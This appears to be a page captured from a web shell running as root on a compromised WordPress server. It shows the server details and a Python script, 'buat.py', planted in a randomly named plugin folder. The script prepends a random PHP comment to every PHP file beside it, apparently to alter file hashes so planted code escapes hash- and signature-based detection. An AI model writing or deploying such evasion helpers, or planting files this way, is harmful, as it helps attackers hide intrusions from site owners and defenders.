HEX
Server: nginx/1.24.0
System: Linux 0c1023d6c65e 6.8.0-137-generic #137-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 17 20:28:23 UTC 2026 x86_64
User: root (0)
PHP: 8.3.33
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/plugins/9be6348719b8ccb6d0cda9d316068c33/buat.py
import os
import random
import string

# Folder sama dengan lokasi script
target_folder = os.path.dirname(os.path.abspath(__file__))

def random_text(length=15):
    chars = string.ascii_letters + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

for root, dirs, files in os.walk(target_folder):
    for filename in files:
        if filename.endswith(".php"):
            file_path = os.path.join(root, filename)

            try:
                with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
                    original_content = f.read()

                # Tambahkan random comment di awal file
                random_prefix = f"<?php /* {random_text(15)} */ ?>\n"
                modified_content = random_prefix + original_content

                with open(file_path, "w", encoding="utf-8") as f:
                    f.write(modified_content)

                print(f"[OK] {file_path}")

            except Exception as e:
                print(f"[ERROR] {file_path}: {e}")